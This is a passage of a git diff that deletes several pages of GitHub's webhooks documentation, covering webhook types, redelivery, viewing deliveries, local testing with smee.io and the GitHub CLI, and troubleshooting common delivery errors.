installed. For more information, see [AUTOTITLE](/webhooks/types-of-webhooks). - -For more information about creating webhooks, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks). For more information about the types of events you can subscribe to, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). For more information about configuring your server to take an action in response to a payload delivery, see [AUTOTITLE](/webhooks/using-webhooks/configuring-your-server-to-receive-payloads). - -{% data reusables.webhooks.webhooks-ipv6 %} - -## Choosing webhooks or the REST API - -Using webhooks has the following advantages over using the API: -* Webhooks require less effort and less resources than polling an API. -* Webhooks scale better than API calls. If you need to monitor many resources, calling the API for each resource may cause you to hit your API rate limit quota quickly. Instead, you can subscribe to multiple webhook events and receive information only when an event happens. -* Webhooks allow near real-time updates, since webhooks are triggered when an event happens. - -If you only need information once or intermittently, or only want to get information from a small set of resources with no plans to scale up, you can call the API when you need the relevant information. - -For information on best practices to follow when using webhooks, see [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks). - -> [!NOTE] -> GitHub Services (sometimes referred to as Service Hooks) is {% data variables.release-phases.retired %}, in favor of integrating with webhooks. For more information about migrating your integration from using GitHub Services to using webhooks, see the [blog post](https://developer.github.com/changes/2018-04-25-github-services-deprecation/). - -## Further reading - -* [AUTOTITLE](/webhooks/types-of-webhooks) diff --git a/content/webhooks/index.md b/content/webhooks/index.md deleted file mode 100644 index 3891d273ead5..000000000000 --- a/content/webhooks/index.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Webhooks documentation -shortTitle: Webhooks -intro: 'Webhooks can let your integrations take an action in response to events that occur on {% data variables.product.company_short %}.' -introLinks: - overview: /webhooks/about-webhooks - reference: /webhooks/webhook-events-and-payloads -featuredLinks: - startHere: - - /webhooks/using-webhooks/creating-webhooks - - /webhooks/using-webhooks/handling-webhook-deliveries - - /webhooks/using-webhooks/validating-webhook-deliveries - popular: - - /webhooks/webhook-events-and-payloads - - /webhooks/using-webhooks/best-practices-for-using-webhooks - - /webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks - guideCards: - - /webhooks/using-webhooks/handling-webhook-deliveries - - /webhooks/using-webhooks/handling-failed-webhook-deliveries - - /webhooks/testing-and-troubleshooting-webhooks/testing-webhooks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -children: - - /about-webhooks - - /types-of-webhooks - - /webhook-events-and-payloads - - /using-webhooks - - /testing-and-troubleshooting-webhooks -changelog: - label: webhooks -layout: product-landing -redirect_from: - - /developers/webhooks-and-events - - /webhooks-and-events - - /developers/webhooks-and-events/webhooks - - /webhooks-and-events/webhooks ---- - diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/index.md b/content/webhooks/testing-and-troubleshooting-webhooks/index.md deleted file mode 100644 index 9c1f72986541..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Testing and troubleshooting webhooks -intro: Learn how to test your webhooks and troubleshoot problems. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks -children: - - /viewing-webhook-deliveries - - /redelivering-webhooks - - /testing-webhooks - - /troubleshooting-webhooks - - /using-the-github-cli-to-forward-webhooks-for-testing ---- - diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks.md b/content/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks.md deleted file mode 100644 index bbdb16997876..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Redelivering webhooks -shortTitle: Redeliver webhooks -intro: 'To help recover from failed deliveries, you can redeliver webhook deliveries from the past {% data variables.webhooks.retention %} days.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About redelivering webhooks - -You may want to redeliver a webhook to help you test your application or to recover from server downtime. You can redeliver webhook deliveries that occurred in the past {% data variables.webhooks.retention %} days. {% data variables.product.company_short %} does not automatically redeliver failed deliveries. - -## Redelivering repository webhooks - -Only people with admin access to a repository can redeliver webhooks in that repository. - -You can use the {% data variables.product.company_short %} web interface or the REST API to redeliver webhooks for a repository. For more information about using the REST API to redeliver webhooks, see [AUTOTITLE](/rest/webhooks/repo-deliveries). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "webhook" aria-hidden="true" %} Webhooks**. -{% data reusables.webhooks.webhook_url_list_redeliver %} -{% data reusables.webhooks.webhook_recent_deliveries_tab %} -1. Click the delivery GUID for the delivery that you want to redeliver. -1. Click **Redeliver**. - -## Redelivering organization webhooks - -Only organization owners can redeliver webhooks in that organization. - -You can use the {% data variables.product.company_short %} web interface or the REST API to redeliver webhooks for an organization. For more information about using the REST API to redeliver webhooks, see [AUTOTITLE](/rest/orgs/webhooks). - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "webhook" aria-hidden="true" %} Webhooks**. -{% data reusables.webhooks.webhook_url_list_redeliver %} -{% data reusables.webhooks.webhook_recent_deliveries_tab %} -1. Click the delivery GUID for the delivery that you want to redeliver. -1. Click **Redeliver**. - -## Redelivering {% data variables.product.prodname_github_app %} webhooks - -The owner of a {% data variables.product.prodname_github_app %} can redeliver webhooks for the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also redeliver webhooks. - -You can use the {% data variables.product.company_short %} web interface or the REST API to redeliver webhooks for a {% data variables.product.prodname_github_app %}. For more information about using the REST API redeliver, see [AUTOTITLE](/rest/apps/webhooks). - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to redeliver a webhook for, click **Edit**. -1. In the sidebar, click **Advanced**. -{% data reusables.webhooks.webhook_recent_deliveries_redeliver %} -1. Click **Redeliver**. - -{% ifversion fpt or ghec %} - -## Redelivering {% data variables.product.prodname_marketplace %} webhooks - -The owner of a {% data variables.product.prodname_github_app %} can redeliver {% data variables.product.prodname_marketplace %} webhooks for that app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also redeliver webhooks. - -1. Navigate to your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). -1. Next to the {% data variables.product.prodname_marketplace %} listing for which you want to redeliver webhooks, click **Manage listing**. -1. In the sidebar, click **Webhook**. -{% data reusables.webhooks.webhook_recent_deliveries_redeliver %} -1. Click **Redeliver**. - -{% endif %} - -{% ifversion fpt or ghec %} - -## Redelivering {% data variables.product.prodname_sponsors %} webhooks - -Only the owner of the sponsored account can redeliver sponsorship webhooks for that account. - -1. In the upper-right corner of any page, click your profile photo, then click **Your sponsors**. -1. Next to the account for which you want to redeliver webhooks, click **Dashboard**. -1. In the sidebar, click **Webhooks**. -{% data reusables.webhooks.webhook_url_list_redeliver %} -{% data reusables.webhooks.webhook_recent_deliveries_redeliver %} -1. Click **Redeliver**. - -{% endif %} - -{% ifversion ghes or ghec %} - -## Redelivering global webhooks - -Only enterprise owners can redeliver webhooks in that enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -{% data reusables.webhooks.webhook_url_list_redeliver %} -{% data reusables.webhooks.webhook_recent_deliveries_redeliver %} -1. Click **Redeliver**. - -{% endif %} diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks.md b/content/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks.md deleted file mode 100644 index 26ec008da6b0..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks.md +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Testing webhooks -shortTitle: Test webhooks -intro: 'Learn how to test your webhooks and your code that handles webhook deliveries.' -redirect_from: - - /webhooks/testing - - /developers/webhooks-and-events/testing-webhooks - - /articles/testing-webhooks - - /developers/webhooks-and-events/webhooks/testing-webhooks - - /webhooks-and-events/webhooks/testing-webhooks - - /webhooks/webhooks/testing-webhooks - - /webhooks/testing-webhooks -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About testing webhooks - -You can test webhook delivery. This will let you verify that {% data variables.product.company_short %} sends a webhook delivery in response to an event that you expect to trigger a webhook delivery. - -You can also test your code that handles webhook deliveries by using your computer or codespace as a local server and forwarding webhook deliveries to your local server. This will let you develop and debug your code without deploying your code to your production server. - -## Testing webhook delivery - -You can trigger a webhook event and verify that {% data variables.product.company_short %} sent a webhook delivery. - -1. Trigger your webhook. For example, if you are testing a repository webhook that is subscribed to the `issues` event, open an issue in the repository where the webhook is configured. - - You can also redeliver a previous webhook delivery. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). - - If you are using an organization or repository webhook, you can also use the REST API to trigger the `ping` event for your webhook. If you are using a repository webhook and your webhook is subscribed to the `push` event, you can use the REST API to trigger a test `push` event for your webhook. For more information, see [AUTOTITLE](/rest/webhooks/repos) and [AUTOTITLE](/rest/orgs/webhooks). - -1. Check {% data variables.product.company_short %} to verify that a webhook delivery was sent. For information about how to do this for each webhook type, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). - -If a webhook delivery was not sent, or if a webhook delivery was sent but {% data variables.product.company_short %} indicates that the delivery failed, refer to the troubleshooting guide to help diagnose the problem. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks). - -## Testing webhook code locally - -In order to test your webhook code locally on your computer or codespace, you can use a webhook proxy URL to forward webhooks from {% data variables.product.company_short %} to your computer or codespace. You can use your computer or codespace as a local server to receive these forwarded webhooks. - -The following sections demonstrate how to use smee.io to provide a webhook proxy URL and forward webhooks. - -For specific examples of code and testing steps, see [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries). - -### Get a webhook proxy URL - -1. In your browser, navigate to https://smee.io/. -1. Click **Start a new channel**. -1. Copy the full URL under "Webhook Proxy URL". You will use this URL in the following setup steps. - -### Configure a webhook to use the webhook proxy URL - -Configure your webhook to use the webhook proxy URL from above. For more information, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks) and [AUTOTITLE](/webhooks/using-webhooks/editing-webhooks). - -Now, {% data variables.product.company_short %} will send webhook deliveries to that URL. - -### Start a local server - -On your computer or codespace, start a local server. The way that you do this depends on how your code to receive webhooks is written. For examples, see [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries). - -You should make sure that your code can run locally. For example, if your code relies on environment variables on your server in production, you should make sure that the environment variables are also available on your local server. - -You may also find it useful to add log statements so that you can verify that steps of your code executed as expected. - -Keep your local server running while you test out your webhook. - -### Forward webhooks - -1. If you don't already have [smee-client](https://www.npmjs.com/package/smee-client) installed, run the following command in your terminal: - - ```shell copy - npm install --global smee-client - ``` - -1. To receive forwarded webhooks from smee.io, run the following command in your terminal. Replace `WEBHOOK_PROXY_URL` with your webhook proxy URL from earlier. Replace `PATH` with the path or route that your server will handle. Replace `PORT` with the port where your local server is listening. - - ```shell copy - smee --url WEBHOOK_PROXY_URL --path /PATH --port PORT - ``` - - You should see output that looks like this, with the `WEBHOOK_PROXY_URL`, `PORT`, and `PATH` placeholders replaced with the values you specified: - - ```shell copy - Forwarding WEBHOOK_PROXY_URL to http://127.0.0.1:PORT/PATH - Connected WEBHOOK_PROXY_URL - ``` - - Now, when your webhook proxy URL (smee.io URL) receives a webhook delivery from {% data variables.product.company_short %}, smee will forward the webhook delivery to your local server. - -1. Keep this running while you test out your webhook. When you want to stop forwarding webhooks, enter Ctrl+C. - -At this point, you should have both your local server running and the smee forwarding running. - -### Trigger a webhook delivery - -Trigger your webhook. For example, if you are testing a repository webhook that is subscribed to the `issues` event, open an issue in the repository where the webhook is configured. - -You can also redeliver a previous webhook delivery. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). - -### Verify delivery - -You can verify that {% data variables.product.company_short %} sent a webhook delivery, that smee received and forwarded the delivery, and that your local server processed the webhook delivery. - -#### Verify that {% data variables.product.company_short %} sent a delivery - -Check {% data variables.product.company_short %} to verify that a webhook delivery was sent. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). - -If a webhook delivery was not sent, or if a webhook delivery was sent but {% data variables.product.company_short %} indicates that the delivery failed, refer to the troubleshooting guide to help diagnose the problem. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks). - -#### Verify that smee received your webhook delivery - -Navigate to your webhook proxy URL on smee.io. You should see an event that corresponds to the event that you triggered or redelivered. This indicates that {% data variables.product.company_short %} successfully sent a webhook delivery to the payload URL that you specified. - -If you don't see your webhook delivery on smee.io, verify that your webhook is using your webhook proxy URL (smee.io URL). - -#### Verify that smee forwarded your webhook delivery - -In the terminal window where you ran `smee --url WEBHOOK_PROXY_URL --path /PATH --port PORT`, you should see something like `POST http://127.0.0.1:3000/webhook - 202`. This indicates that smee successfully forwarded your webhook to your local server. - -If you don't see this, make sure that both the smee client and your local server are running. You should have these processes running in two separate terminal windows. - -You should also check for errors in the terminal windows where you are running the smee client and your local server. The specific errors depend on how your code to receive webhooks is written. For examples, see [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries). - -#### Verify that your local server processed the webhook delivery - -At this point, you have verified that {% data variables.product.company_short %} sent a webhook delivery and that smee forwarded the delivery to your local server. Now, you should verify that your code processed the webhook delivery as expected. The way that you do this depends on how your code to receive webhooks is written. For examples, see [AUTOTITLE](/webhooks/using-webhooks/handling-webhook-deliveries). diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks.md b/content/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks.md deleted file mode 100644 index 43633de31457..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/troubleshooting-webhooks.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Troubleshooting webhooks -shortTitle: Troubleshoot webhooks -intro: 'Learn how to diagnose and resolve common errors for webhooks.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## Missing webhook deliveries - -If you are not receiving the webhook deliveries that you expect, you should identify the point at which the delivery is missing. - -1. Trigger an event that you expect to result in a webhook delivery. For example, if your webhook is a repository webhook that is subscribed to the `issues` event, you can open an issue on that repository. -1. Look at the recent deliveries log for your webhook. For information about how to do this for each webhook type, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries). - - If the recent deliveries log does not include a delivery that corresponds to the webhook event that you triggered in the previous step, then {% data variables.product.company_short %} did not attempt a delivery. To identify the cause: - - 1. Wait a few minutes, and then check again. Webhook deliveries can take a few minutes to appear. - 1. Make sure that you triggered an event in the location where your webhook is configured. For example, if your webhook is a repository webhook, make sure that you triggered the event in the same repository where your webhook is configured. - 1. Make sure that your webhook is subscribed to the event that you triggered. For example, if you expect a webhook delivery when you open an issue, make sure your webhook is subscribed to the `issues` event. - 1. Make sure that your webhook is active. For more information, see [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks). - 1. Make sure that your webhook is not impacted by {% data variables.product.prodname_oauth_app %} access restrictions. If your webhook was created by an {% data variables.product.prodname_oauth_app %} on behalf of a user who authorized the {% data variables.product.prodname_oauth_app %}, the webhook will be automatically disabled if it is an organization or repository webhook for an organization that has restricted access by the {% data variables.product.prodname_oauth_app %}. For more information, see {% ifversion ghec or fpt %}[AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions).{% else %}[AUTOTITLE](/free-pro-team@latest/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions) in the {% data variables.product.prodname_free_user %} documentation.{% endif %} - - 1. Check whether your event may have hit a documented limit. For example, if you push more than three tags at once, the `push` event will not be triggered for that push. For more information about documented limits for each event, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). - 1. Check the status of webhooks at [githubstatus.com](https://www.githubstatus.com/). - - If the recent deliveries log indicates that there was an error with the delivery, then {% data variables.product.company_short %} attempted delivery but the delivery was unsuccessful. This is typically due to a problem with your server. You can refer to the sections below to help resolve the specific error. - -1. Look at the logs for your server. The information in the logs depends on the code that your server runs to handle webhook deliveries. To help you diagnose problems on your server, you may want to add additional log statements to your code. - -## Cannot have more than {% ifversion ghes %}250{% else %}20{% endif %} webhooks - -You can create up to {% ifversion ghes %}250{% else %}20{% endif %} {% ifversion ghec or ghes %} repository, organization, or global {% else %} repository or organization {% endif %}webhooks for each event type. If you attempt to create more, you will receive an error stating that you cannot have more than {% ifversion ghes %}250{% else %}20{% endif %} webhooks. - -If you require more than {% ifversion ghes %}250{% else %}20{% endif %} webhooks, you can run a proxy that receives webhooks from {% data variables.product.company_short %} and forwards them to an unlimited number of destination URLs. - -## URL host localhost is not supported - -You cannot use `localhost` or `127.0.0.1` as a webhook URL. - -To deliver webhooks to your local server for testing, you can use a webhook forwarding service. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks) or visit https://smee.io/. - -## Failed to connect to host - -The `failed to connect to host` error occurs when {% data variables.product.company_short %} attempts a webhook delivery but could not resolve the webhook's URL to an IP address. - -To check whether a host name resolves to an IP address, you can use `nslookup`. For example, if your payload URL is `https://octodex.github.com/webhooks`, you can run `nslookup octodex.github.com`. If the host name could not be resolved to an IP address, the nslookup command will indicate that the server can't find the host name. - -## Failed to connect to network - -The `failed to connect to network` error indicates that your server refused the connection when {% data variables.product.company_short %} attempted to deliver a webhook. - -You should make sure that your server allows connections from {% data variables.product.company_short %}'s IP addresses. You can use the `GET /meta` endpoint to find the current list of {% data variables.product.company_short %}'s IP addresses. For more information, see [AUTOTITLE](/rest/meta/meta#get-github-meta-information). {% data variables.product.company_short %} occasionally makes changes to its IP addresses, so you should update your IP allow list periodically. - -## Timed out - -The `timed out` error indicates that {% data variables.product.company_short %} did not receive a response from your server within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of delivering a webhook. - -Your server should respond with a 2xx response within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving a webhook delivery. If your server takes longer than that to respond, then {% data variables.product.company_short %} terminates the connection and considers the delivery a failure. - -In order to respond in a timely manner, you may want to set up a queue to process webhook payloads asynchronously. Your server can respond when it receives the webhook, and then process the payload in the background without blocking future webhook deliveries. For example, you can use services like [Hookdeck](https://hookdeck.com) or libraries like [Resque](https://github.com/resque/resque/) (Ruby), [RQ](http://python-rq.org/) (Python), or [RabbitMQ](http://www.rabbitmq.com/). - -## Peer certificate cannot be authenticated with given CA certificates - -This error indicates that there is a problem related to your server's certificates. The most common problems are: - -* Your server is using a self-signed certificate. -* Your server is not sending the full certificate chain when the connection is established. - -To help diagnose the problem, you can use the [SSL server test](https://www.ssllabs.com/ssltest/analyze.html) from SSL Labs. This service can only work with the default port for HTTPS (port 443) and can only work with servers that are accessible from the Internet. - -You can also use `openssl` to help diagnose the problem. To do so, run `openssl s_client -connect HOST:PORT` in a terminal. Replace `HOST` with your server's host name and `PORT` with the port. For example, `openssl s_client -connect example.com:443`. To identify problems, look for `verify error` in the output. - -## Invalid HTTP response - -The `invalid HTTP response` error occurs when your server returns a 4xx or 5xx status in response to a webhook delivery from {% data variables.product.company_short %}. - -You should configure your server to return a 2xx status. If your server returns a 4xx or 5xx status, {% data variables.product.company_short %} will record the delivery as a failure. - -## Webhooks deliveries are out of order - -{% data variables.product.company_short %} may deliver webhooks in a different order than the order in which the events took place. If you need to know when the event occurred relative to another event, you should use the timestamps that are included in the delivery payload. - -## Webhook deliveries are not immediate - -Webhook deliveries can take a few minutes to be delivered and to appear in the recent deliveries log. Before concluding that your webhook delivery failed, wait a few minutes and then check again. - -{% ifversion fpt or ghec %} - -If your account experiences a surge in webhook deliveries, {% data variables.product.company_short %} may temporarily throttle the rate of deliveries to your account. If your webhook deliveries are slowed down by GitHub, the `throttled_at` property for each affected delivery shows the timestamp when delivery was throttled. You can check for this using the REST API, see [List deliveries for a repository webhook](/rest/repos/webhooks#list-deliveries-for-a-repository-webhook). - -To avoid delays, subscribe only to the webhook events that are necessary for your account, reducing the frequency of deliveries. See “[AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks).” - -{% endif %} - -## Failed signature verification - -You should use a webhook secret and the `X-Hub-Signature-256` header to verify that a webhook delivery is from {% data variables.product.company_short %}. For more information, see [AUTOTITLE](/webhooks/using-webhooks/validating-webhook-deliveries). - -{% data reusables.webhooks.signature-troubleshooting %} diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/using-the-github-cli-to-forward-webhooks-for-testing.md b/content/webhooks/testing-and-troubleshooting-webhooks/using-the-github-cli-to-forward-webhooks-for-testing.md deleted file mode 100644 index 6f9427d8a1ac..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/using-the-github-cli-to-forward-webhooks-for-testing.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Using the GitHub CLI to forward webhooks for testing -intro: 'You can use the {% data variables.product.prodname_cli %} to test webhooks in your development environment without the complexity of port forwarding or third-party tools.' -versions: - feature: cli-webhook-forwarding -topics: - - Webhooks -shortTitle: Test with the CLI -redirect_from: - - /developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli - - /webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli - - /webhooks/webhooks/receiving-webhooks-with-the-github-cli - - /webhooks/receiving-webhooks-with-the-github-cli - - /webhooks/testing-and-troubleshooting-webhooks/receiving-webhooks-with-the-github-cli ---- -## About receiving webhooks with {% data variables.product.prodname_cli %} - -When you make changes to your integration code, running the code in a local environment lets you test and iterate quickly without deploying the code. You can use {% data variables.product.prodname_cli %} to forward webhooks to your local environment. - -Webhook forwarding in the {% data variables.product.prodname_cli %} only works with repository and organization webhooks. If you want to test other types of webhooks locally, you'll need to do this manually. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks). - -> [!WARNING] -> Webhook forwarding is only designed for use during testing and development. It is not supported for use in production environments for handling live webhooks. - -## Receiving webhooks with {% data variables.product.prodname_cli %} - -{% data reusables.cli.cli-learn-more %} - -1. To install the {% data variables.product.prodname_cli %} extension to enable webhook forwarding, use the `extension install` subcommand. - - ```shell - gh extension install cli/gh-webhook - ``` - -1. If you want to forward organization webhooks, add the `admin:org_hook` scope to your {% data variables.product.prodname_cli %} login so you have the required permissions. - - ```shell - gh auth refresh --scopes admin:org_hook - ``` - -1. Start your application locally, and take a note of the URL where it's expecting to receive webhooks. This guide assumes that your application is listening for webhook events at `http://localhost:3000/webhook`. - -1. To set up webhooks to be delivered to your application, run the `webhook forward` subcommand. Replace `REPOSITORY` with the name of your repository. For example, `monalisa/octocat`. Replace `EVENTS` with a comma-separated list of the events that you want to receive. For example, `issues,pull_request`. Replace `URL` with the local URL where your application expects to receive webhooks. For example, `"http://localhost:3000/webhook"`. To listen for organization webhooks instead of repository webhooks, replace the `--repo` flag with the `--org` flag. For example `--org="octo-org"`. - - ```shell - gh webhook forward --repo=REPOSITORY --events=EVENTS --url=URL - ``` - - Leave the command running in the background. It will receive all of the specified events for the specified repository and forward them to your webhook handler running at the specified URL. - - > [!NOTE] - > Only one person can use webhook forwarding at a time for each repository and organization. If you try to set up webhook forwarding and someone else is already working with that organization or repository, you'll receive a `Hook already exists` error. diff --git a/content/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries.md b/content/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries.md deleted file mode 100644 index 1efab22dd7cc..000000000000 --- a/content/webhooks/testing-and-troubleshooting-webhooks/viewing-webhook-deliveries.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Viewing webhook deliveries -shortTitle: View deliveries -intro: 'You can view details about webhook deliveries from the past {% data variables.webhooks.retention %} days.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About webhook deliveries - -You can view details about webhook deliveries that occurred in the past {% data variables.webhooks.retention %} days. Viewing past deliveries can help you verify whether your webhooks are working as expected. - -For each webhook delivery, you can view: - -* The request headers and payload that {% data variables.product.company_short %} sent -* The time at which the request was sent -* The response that {% data variables.product.company_short %} received from your server - -You can also redeliver recent webhook deliveries. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/redelivering-webhooks). - -## Viewing deliveries for repository webhooks - -Only people with admin access to a repository can view deliveries for webhooks in that repository. - -You can use the {% data variables.product.company_short %} web interface or the REST API to view recent webhook deliveries for a repository. For more information about using the REST API to view recent deliveries, see [AUTOTITLE](/rest/webhooks/repo-deliveries). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "webhook" aria-hidden="true" %} Webhooks**. -{% data reusables.webhooks.webhook_url_list %} -{% data reusables.webhooks.webhook_recent_deliveries_tab %} -1. Click a delivery GUID to view details. - -## Viewing deliveries for organization webhooks - -Only organization owners can view deliveries for webhooks in that organization. - -You can use the {% data variables.product.company_short %} web interface or the REST API to view recent webhook deliveries for an organization. For more information about using the REST API to view recent deliveries, see [AUTOTITLE](/rest/orgs/webhooks). - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "webhook" aria-hidden="true" %} Webhooks**. -{% data reusables.webhooks.webhook_url_list %} -{% data reusables.webhooks.webhook_recent_deliveries_tab %} -1. Click a delivery GUID to view details. - -## Viewing deliveries for {% data variables.product.prodname_github_app %} webhooks - -The owner of a {% data variables.product.prodname_github_app %} can view recent webhook deliveries for the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also view recent webhook deliveries. - -You can use the {% data variables.product.company_short %} web interface or the REST API to view recent webhook deliveries for a {% data variables.product.prodname_github_app %}. For more information about using the REST API to view recent deliveries, see [AUTOTITLE](/rest/apps/webhooks). - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to view webhook deliveries for, click **Edit**. -1. In the sidebar, click **Advanced**. -{% data reusables.webhooks.webhook_recent_deliveries %} - -{% ifversion fpt or ghec %} - -## Viewing deliveries for {% data variables.product.prodname_marketplace %} webhooks - -The owner of a {% data variables.product.prodname_github_app %} can view recent {% data variables.product.prodname_marketplace %} webhook deliveries for the app. If an organization has designated any app managers for a {% data variables.product.prodname_github_app %} owned by the organization, the app managers can also view recent webhook deliveries. - -1. Navigate to your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). -1. Next to the {% data variables.product.prodname_marketplace %} listing that you want to view webhook deliveries for, click **Manage listing**. -1. In the sidebar, click **Webhook**. -{% data reusables.webhooks.webhook_recent_deliveries %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Viewing deliveries for {% data variables.product.prodname_sponsors %} webhooks - -Only the owner of the sponsored account can view deliveries for sponsorship webhooks for that account. - -1. In the upper-right corner of any page, click your profile photo, then click **Your sponsors**. -1. Next to the account you want to view webhook deliveries for, click **Dashboard**. -1. In the sidebar, click **Webhooks**. -{% data reusables.webhooks.webhook_url_list %} -{% data reusables.webhooks.webhook_recent_deliveries %} - -{% endif %} - -{% ifversion ghes or ghec %} - -## Viewing deliveries for global webhooks - -Only enterprise owners can view deliveries for webhooks in that enterprise. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.hooks-tab %} -{% data reusables.webhooks.webhook_url_list %} -{% data reusables.webhooks.webhook_recent_deliveries %} - -{% endif %} diff --git a/content/webhooks/types-of-webhooks.md b/content/webhooks/types-of-webhooks.md deleted file mode 100644 index 54f22174f224..000000000000 --- a/content/webhooks/types-of-webhooks.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Types of webhooks -intro: 'You can create webhooks to subscribe to events that occur in a specific repository, organization, {% ifversion ghes or ghec %}{% data variables.product.prodname_enterprise %}, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_marketplace %} account, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_sponsors %} account, {% endif %} or {% data variables.product.prodname_github_app %}.' -redirect_from: - - /webhooks-and-events/webhooks/about-webhooks-for-repositories - - /webhooks/webhooks/about-webhooks-for-repositories - - /webhooks/about-webhooks-for-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Webhooks ---- - -## About webhook types - -A webhook can only access events that are available in the repository, organization, {% ifversion ghes or ghec %}{% data variables.product.prodname_enterprise %}, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_marketplace %} account, {% endif %} {% ifversion fpt or ghec %}{% data variables.product.prodname_sponsors %} account, {% endif %} or {% data variables.product.prodname_github_app %} where it is installed. - -You cannot create webhooks for individual user accounts, or for events that are specific to user resources, like personal notifications or mentions. - -To create and manage webhooks, you must own or have admin access to the resource where the webhook is created and listening for events on. For example, to manage webhooks in an organization, you need admin permissions for that organization. - -Some webhook events are unique to certain types of webhooks. For example, an organization webhook can subscribe to events that only occur at the organization level, which a repository webhook cannot subscribe to. For more information about the specific availability of each webhook, see [AUTOTITLE](/webhooks/webhook-events-and-payloads). - -For more information, see [AUTOTITLE](/webhooks/about-webhooks). - -## Repository webhooks - -You can create webhooks in a repository to subscribe to events that occur in that repository. You must be a repository owner or have admin access in the repository to create and manage webhooks in a repository. You cannot create, edit, or delete webhooks in a repository where you do not have the required permissions. - -You can create multiple webhooks in a 